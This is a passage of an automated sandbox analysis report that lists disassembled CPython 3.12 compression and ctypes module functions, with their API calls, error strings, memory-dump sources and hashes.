memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE102524FC
_Py_Dealloc.PYTHON312(?,?,?,?,?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE10252518
_Py_Dealloc.PYTHON312(?,?,?,?,?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE10252567

Strings

Unable to allocate output buffer., xrefs: 00007FFE102561A2

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Dealloc$Bytes_FromSizeStringmemcpy
String ID: Unable to allocate output buffer.
API String ID: 76732796-2565006440
Opcode ID: dfc50fe1e76f4b95923bb712c602e591bc04f2612fcca18cafc909a29d1c47b1
Instruction ID: aa3c57f64b95e00518687fc7e5868e4ba5d05e0dd4cb62abecb69b8f571e2d67
Opcode Fuzzy Hash: dfc50fe1e76f4b95923bb712c602e591bc04f2612fcca18cafc909a29d1c47b1
Instruction Fuzzy Hash: 1D413FB2A05E0281EB198F17D4542B92BA0FB8AFA4F548472DF0D537B6EF78E455C304

Function 00007FFE1025083C Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

PyDict_New.PYTHON312(?,?,?,00007FFE1025081A,?,?,?,?,?,00007FFE102507A5), ref: 00007FFE10250849

Part of subcall function 00007FFE10250970: PyLong_FromUnsignedLongLong.PYTHON312(?,?,?,00007FFE1025086D,?,?,?,00007FFE1025081A,?,?,?,?,?,00007FFE102507A5), ref: 00007FFE10250988
Part of subcall function 00007FFE10250970: PyUnicode_InternFromString.PYTHON312(?,?,?,00007FFE1025086D,?,?,?,00007FFE1025081A,?,?,?,?,?,00007FFE102507A5), ref: 00007FFE10250999
Part of subcall function 00007FFE10250970: PyDict_SetItem.PYTHON312(?,?,?,00007FFE1025086D,?,?,?,00007FFE1025081A,?,?,?,?,?,00007FFE102507A5), ref: 00007FFE102509B4

PyErr_Format.PYTHON312(?,?,?,00007FFE1025081A,?,?,?,?,?,00007FFE102507A5), ref: 00007FFE10255C50
_Py_Dealloc.PYTHON312(?,?,?,00007FFE1025081A,?,?,?,?,?,00007FFE102507A5), ref: 00007FFE10255C6C

Strings

Invalid filter ID: %llu, xrefs: 00007FFE10255C43
dict_size, xrefs: 00007FFE10250934
start_offset, xrefs: 00007FFE10255C87
dist, xrefs: 00007FFE10255C97

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Dict_FromLong$DeallocErr_FormatInternItemLong_StringUnicode_Unsigned
String ID: Invalid filter ID: %llu$dict_size$dist$start_offset
API String ID: 1484310907-3368833446
Opcode ID: 2bf5425971416fcf604516447e7ff1f6a8227c031248f9865350739be3ef4e27
Instruction ID: 8a7a53aa483ae3fb8c858ac1656cadddab728b62be000378e7069a0d87ddedef
Opcode Fuzzy Hash: 2bf5425971416fcf604516447e7ff1f6a8227c031248f9865350739be3ef4e27
Instruction Fuzzy Hash: 8F4112B1A18E4381FA244B1799901F82B60AF85BB4F0445B6DB1D467B7FF7CB8A5C708

Function 00007FFE133844C4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_PyObject_LookupAttr.PYTHON312 ref: 00007FFE13384512
_Py_Dealloc.PYTHON312 ref: 00007FFE1338456B
_Py_Dealloc.PYTHON312 ref: 00007FFE1338939C
PyCallable_Check.PYTHON312 ref: 00007FFE133893C6
PyErr_SetString.PYTHON312 ref: 00007FFE133893E5
_Py_Dealloc.PYTHON312 ref: 00007FFE13389407

Strings

restype must be a type, a callable, or None, xrefs: 00007FFE133893DB

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$AttrCallable_CheckErr_LookupObject_String
String ID: restype must be a type, a callable, or None
API String ID: 1528254987-4008198047
Opcode ID: 7a0199f180db4b0569798945890e28ae8e93956a87ef75f4ebac703fdb2617cd
Instruction ID: 856735eac4a21af17c9d69547b654c3b52e5711ac77a4265fa95165a77fb2f45
Opcode Fuzzy Hash: 7a0199f180db4b0569798945890e28ae8e93956a87ef75f4ebac703fdb2617cd
Instruction Fuzzy Hash: AD411271E09E428AFB558B27E44433D23A1AF64BA4F1442B4C66E76DB4DE2DE5818304

Function 00007FFE11EAC790 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE11EAC7C8
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE11EAC82B
PyList_Append.PYTHON312 ref: 00007FFE11EAC83F
_Py_Dealloc.PYTHON312 ref: 00007FFE11EAC85B
_Py_Dealloc.PYTHON312 ref: 00007FFE11EAC874

Strings

avail_out is non-zero in _BlocksOutputBuffer_Grow()., xrefs: 00007FFE11EAC7BE
Unable to allocate output buffer., xrefs: 00007FFE11EAC81D

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: DeallocString$AppendBytes_Err_FromList_Size
String ID: Unable to allocate output buffer.$avail_out is non-zero in _BlocksOutputBuffer_Grow().
API String ID: 1563898963-3455802345
Opcode ID: ff338362e5abe2334e11cb080246bf7f77446c403590bc40d540ec3316304a65
Instruction ID: 87cdc346f9e71e6cdbcf065446071d5b77d8b04d74d978f6dd8ba0ec968fc75d
Opcode Fuzzy Hash: ff338362e5abe2334e11cb080246bf7f77446c403590bc40d540ec3316304a65
Instruction Fuzzy Hash: CA312732A08F5281EB148BA6FD4426A67A9FB44BF4F1456B1EA2D43BF4DF3CE4518300

Function 00007FFE10256380 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312(?,?,?,00007FFE10254D6B,?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE102563B8
PyBytes_FromStringAndSize.PYTHON312(?,?,?,00007FFE10254D6B,?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE1025641B
PyList_Append.PYTHON312(?,?,?,00007FFE10254D6B,?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE1025642F
_Py_Dealloc.PYTHON312(?,?,?,00007FFE10254D6B,?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE1025644B
_Py_Dealloc.PYTHON312(?,?,?,00007FFE10254D6B,?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE10256464

Strings

Unable to allocate output buffer., xrefs: 00007FFE1025640D
avail_out is non-zero in _BlocksOutputBuffer_Grow()., xrefs: 00007FFE102563AE

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: DeallocString$AppendBytes_Err_FromList_Size
String ID: Unable to allocate output buffer.$avail_out is non-zero in _BlocksOutputBuffer_Grow().
API String ID: 1563898963-3455802345
Opcode ID: 580d003c13f45ba0d3f5d519e6676035726d1c9c5441bda9205d6986d50f6f75
Instruction ID: 387d4ea910e09e87b81a33bcb5b35ff4738ba27f44a68ab9222e8052acca8d37
Opcode Fuzzy Hash: 580d003c13f45ba0d3f5d519e6676035726d1c9c5441bda9205d6986d50f6f75
Instruction Fuzzy Hash: 873121B1618F4281EA248B17E5481A96BA1AB88BF4F1442B1DB2D477B6EF7DE445C304

Function 00007FFE11EA222C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

PyType_GetModuleByDef.PYTHON312 ref: 00007FFE11EA2257
PyModule_GetState.PYTHON312 ref: 00007FFE11EA2260
_PyLong_AsInt.PYTHON312 ref: 00007FFE11EA2297
_PyArg_NoKeywords.PYTHON312 ref: 00007FFE11EAB31F

Strings

BZ2Compressor, xrefs: 00007FFE11EAB318, 00007FFE11EAB338

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Arg_KeywordsLong_ModuleModule_StateType_
String ID: BZ2Compressor
API String ID: 694278274-1096114097
Opcode ID: c29017a166be628f3c043c4071bfaebd4dc5a5912452c5fe267a8d3f159135bf
Instruction ID: 696b293f97faedc0869498019e40bef313352ca6ceda93a74b305c3773b8d875
Opcode Fuzzy Hash: c29017a166be628f3c043c4071bfaebd4dc5a5912452c5fe267a8d3f159135bf
Instruction Fuzzy Hash: A6213D31A09E6385EB649B97BC4027B63A8EB88FA0F5845B1CE0E577B4DF7CE4558310

Function 00007FFE1338BF28 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338BF5A
PyErr_Format.PYTHON312 ref: 00007FFE1338BF9E
PyUnicode_AsWideChar.PYTHON312 ref: 00007FFE1338BFB5
PyUnicode_AsWideChar.PYTHON312 ref: 00007FFE1338BFE5

Strings

string too long, xrefs: 00007FFE1338BFCF
unicode string expected instead of %s instance, xrefs: 00007FFE1338BF90
can't delete attribute, xrefs: 00007FFE1338BF50

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: CharErr_Unicode_Wide$FormatString
String ID: can't delete attribute$string too long$unicode string expected instead of %s instance
API String ID: 530648689-1577475929
Opcode ID: 69cf531b4cc7da2edbf737657ec21c7e20682bc20a64f527e5917675d610bacf
Instruction ID: 22b1eddf81bc1172c53de4b1d491cf4e401a74c59d01ee0979f100119b0ee581
Opcode Fuzzy Hash: 69cf531b4cc7da2edbf737657ec21c7e20682bc20a64f527e5917675d610bacf
Instruction Fuzzy Hash: 1B218E61E08E46C9EB04CB57E4801396372FB59FE0F5442B5E92E67A78CF3CE4858704

Function 00007FFE1338F798 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

PyLong_AsUnsignedLongLongMask.PYTHON312 ref: 00007FFE1338F7DB

Strings

unicode string or integer address expected instead of %s instance, xrefs: 00007FFE1338F7FA
_ctypes/cfield.c pymem, xrefs: 00007FFE1338F832

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Long$Long_MaskUnsigned
String ID: _ctypes/cfield.c pymem$unicode string or integer address expected instead of %s instance
API String ID: 1805849926-901310697
Opcode ID: aba3d464009148be4cbd10edd9d34ca55696cd4e07428fe21cf3bd12ee4eb2d7
Instruction ID: a9734d79e31a1c7800e20dee83d4dcdb616dca0658943817cc370537d5ae40a5
Opcode Fuzzy Hash: aba3d464009148be4cbd10edd9d34ca55696cd4e07428fe21cf3bd12ee4eb2d7
Instruction Fuzzy Hash: 63210B71E19E06CAEB449F07F4542782361BB68BA1F4445B9DA2F67774DF3CE4A88308

Function 00007FFE133900F8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON312 ref: 00007FFE1339012E
PyUnicode_AsWideChar.PYTHON312 ref: 00007FFE1339014F
_Py_Dealloc.PYTHON312 ref: 00007FFE13390169
PyErr_SetString.PYTHON312 ref: 00007FFE13390180
_Py_Dealloc.PYTHON312 ref: 00007FFE1339019E

Strings

one character unicode string expected, xrefs: 00007FFE13390176
unicode string expected instead of %s instance, xrefs: 00007FFE13390120

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: DeallocErr_$CharFormatStringUnicode_Wide
String ID: one character unicode string expected$unicode string expected instead of %s instance
API String ID: 3624372013-2255738861
Opcode ID: 92420e0a0329139c402d97e16dd549ac8e6734484b505ab4b6fd804435c4bee4
Instruction ID: 73da323c76f21e60471b64b11345e6ad95a9786d27b0ddefc765a768650b8f8b
Opcode Fuzzy Hash: 92420e0a0329139c402d97e16dd549ac8e6734484b505ab4b6fd804435c4bee4
Instruction Fuzzy Hash: B9216D36E08E42C9EB409F27E84023873B2EF69BA0F045075D91FA6674DE3CE480C308

Function 00007FFE11EA36D8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 48threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON312 ref: 00007FFE11EA3705
PyThread_release_lock.PYTHON312 ref: 00007FFE11EA3735
PyErr_SetString.PYTHON312 ref: 00007FFE11EA376A

Part of subcall function 00007FFE11EA3270: memcpy.VCRUNTIME140 ref: 00007FFE11EA32EE

PyEval_SaveThread.PYTHON312 ref: 00007FFE11EAB892
PyThread_acquire_lock.PYTHON312 ref: 00007FFE11EAB8A7
PyEval_RestoreThread.PYTHON312 ref: 00007FFE11EAB8B0

Strings

End of stream already reached, xrefs: 00007FFE11EA3760

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Eval_ThreadThread_acquire_lock$Err_RestoreSaveStringThread_release_lockmemcpy
String ID: End of stream already reached
API String ID: 180092378-3466344095
Opcode ID: 309d9335925c998c01d05fe5717c16006e6c4eec569cf43e6d0882e4142690fe
Instruction ID: d0044e58c9352c9638854c91c16b0fa1b2a3b59c3c92ab74e257d40aceda3406
Opcode Fuzzy Hash: 309d9335925c998c01d05fe5717c16006e6c4eec569cf43e6d0882e4142690fe
Instruction Fuzzy Hash: DD11D765A08E6185EB149BA7BC4426A6768FB88FE4F0841B1DE4E43B75CF7CE4558310

Function 00007FFE102495F0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 48threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON312 ref: 00007FFE1024961D
PyThread_release_lock.PYTHON312 ref: 00007FFE10249650
PyErr_SetString.PYTHON312 ref: 00007FFE10249685
PyEval_SaveThread.PYTHON312 ref: 00007FFE102550C6
PyThread_acquire_lock.PYTHON312 ref: 00007FFE102550DB
PyEval_RestoreThread.PYTHON312 ref: 00007FFE102550E4

Strings

Already at end of stream, xrefs: 00007FFE1024967B

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Eval_ThreadThread_acquire_lock$Err_RestoreSaveStringThread_release_lock
String ID: Already at end of stream
API String ID: 2195683152-1334556646
Opcode ID: 3eb67ee195b5bbe57a7cea297c8508a8a17e06b17122ceb0a36300f9ddcb8c56
Instruction ID: ec0960018f10ae4f2117ddd6edfcf95f2443788a478b8e18399fda527da5bf62
Opcode Fuzzy Hash: 3eb67ee195b5bbe57a7cea297c8508a8a17e06b17122ceb0a36300f9ddcb8c56
Instruction Fuzzy Hash: 70110A61A08E81C5EA14DB57E8441A96B64FBC9FE1F0980B1DF0E93766DFB8E456C304

Function 00007FFE11EA25FC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON312 ref: 00007FFE11EA261F
PyThread_release_lock.PYTHON312 ref: 00007FFE11EA264B
PyEval_SaveThread.PYTHON312 ref: 00007FFE11EA266A
PyThread_acquire_lock.PYTHON312 ref: 00007FFE11EA267C
PyEval_RestoreThread.PYTHON312 ref: 00007FFE11EA2685

Strings

Compressor has been flushed, xrefs: 00007FFE11EAB42B

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Eval_ThreadThread_acquire_lock$RestoreSaveThread_release_lock
String ID: Compressor has been flushed
API String ID: 1906554297-3904734015
Opcode ID: 44824e688ac5818207e66a8fa07d8ee67426f91ffe2dff722fcdce01adc47589
Instruction ID: b42c0aff2ed77f9276f07ea3a3fe27a1145a469ce4ea01b74ca57cad5923cbf6
Opcode Fuzzy Hash: 44824e688ac5818207e66a8fa07d8ee67426f91ffe2dff722fcdce01adc47589
Instruction Fuzzy Hash: E911E371A08E6282EB14CB93F95416A6768FB88FA0B0450B2DE4E57B74CF3CE4918340

Function 00007FFE10249010 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON312(?,?,?,00007FFE10248536), ref: 00007FFE10249036
PyThread_release_lock.PYTHON312(?,?,?,00007FFE10248536), ref: 00007FFE10249068
PyErr_SetString.PYTHON312(?,?,?,00007FFE10248536), ref: 00007FFE10249098

Part of subcall function 00007FFE10248564: PyType_GetModuleState.PYTHON312 ref: 00007FFE1024859D
Part of subcall function 00007FFE10248564: PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE102485B1
Part of subcall function 00007FFE10248564: PyList_New.PYTHON312 ref: 00007FFE102485C8
Part of subcall function 00007FFE10248564: PyEval_SaveThread.PYTHON312 ref: 00007FFE10248619
Part of subcall function 00007FFE10248564: PyEval_RestoreThread.PYTHON312 ref: 00007FFE10248633

PyEval_SaveThread.PYTHON312(?,?,?,00007FFE10248536), ref: 00007FFE10254F44
PyThread_acquire_lock.PYTHON312(?,?,?,00007FFE10248536), ref: 00007FFE10254F59
PyEval_RestoreThread.PYTHON312(?,?,?,00007FFE10248536), ref: 00007FFE10254F62

Strings

Compressor has been flushed, xrefs: 00007FFE1024908E

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Eval_Thread$RestoreSaveStringThread_acquire_lock$Bytes_Err_FromList_ModuleSizeStateThread_release_lockType_
String ID: Compressor has been flushed
API String ID: 3871537485-3904734015
Opcode ID: 7a7077e9134b2479d70bc0b55754877c5396126443336fd8736004c065fe7fd0
Instruction ID: 76e86721dcb9aaa376f17c991eab3ee622d18277a3f1b0bd14440155b0f7ffa8
Opcode Fuzzy Hash: 7a7077e9134b2479d70bc0b55754877c5396126443336fd8736004c065fe7fd0
Instruction Fuzzy Hash: 5E110761A08E8281EA54CB13E8442A96B65FBC8FE1F049071DF0E93B26DFBCE456C345

Function 00007FFE11EA200C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON312 ref: 00007FFE11EA2026
PyThread_release_lock.PYTHON312 ref: 00007FFE11EA205E
PyEval_SaveThread.PYTHON312 ref: 00007FFE11EAB250
PyThread_acquire_lock.PYTHON312 ref: 00007FFE11EAB262
PyEval_RestoreThread.PYTHON312 ref: 00007FFE11EAB26B
PyErr_SetString.PYTHON312 ref: 00007FFE11EAB288

Part of subcall function 00007FFE11EA2C08: PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE11EA2C47
Part of subcall function 00007FFE11EA2C08: PyList_New.PYTHON312 ref: 00007FFE11EA2C5E
Part of subcall function 00007FFE11EA2C08: PyEval_SaveThread.PYTHON312 ref: 00007FFE11EA2CCC
Part of subcall function 00007FFE11EA2C08: PyEval_RestoreThread.PYTHON312 ref: 00007FFE11EA2CE6

Strings

Repeated call to flush(), xrefs: 00007FFE11EAB27E

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Eval_Thread$RestoreSaveStringThread_acquire_lock$Bytes_Err_FromList_SizeThread_release_lock
String ID: Repeated call to flush()
API String ID: 3236580226-194442007
Opcode ID: 5871bef96599481079b609c1d245c472c7a68676c479b15d6616a7a45fe64ed0
Instruction ID: 0b4f0162a574f7c5a3d2447f7ae34f02ea375c4a68a230d0f046177a4c4b5c20
Opcode Fuzzy Hash: 5871bef96599481079b609c1d245c472c7a68676c479b15d6616a7a45fe64ed0
Instruction Fuzzy Hash: 58111C31A08E6282EB148BA7FD5417A6369EB89FA0F044171DA0E47B74CF3CE496C740

Function 00007FFE10252F1C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON312 ref: 00007FFE10252F41
PyThread_release_lock.PYTHON312 ref: 00007FFE10252F7E
PyErr_SetString.PYTHON312 ref: 00007FFE10252FA8

Part of subcall function 00007FFE10248564: PyType_GetModuleState.PYTHON312 ref: 00007FFE1024859D
Part of subcall function 00007FFE10248564: PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE102485B1
Part of subcall function 00007FFE10248564: PyList_New.PYTHON312 ref: 00007FFE102485C8
Part of subcall function 00007FFE10248564: PyEval_SaveThread.PYTHON312 ref: 00007FFE10248619
Part of subcall function 00007FFE10248564: PyEval_RestoreThread.PYTHON312 ref: 00007FFE10248633

PyEval_SaveThread.PYTHON312 ref: 00007FFE10256274
PyThread_acquire_lock.PYTHON312 ref: 00007FFE10256289
PyEval_RestoreThread.PYTHON312 ref: 00007FFE10256292

Strings

Repeated call to flush(), xrefs: 00007FFE10252F9E

Memory Dump Source

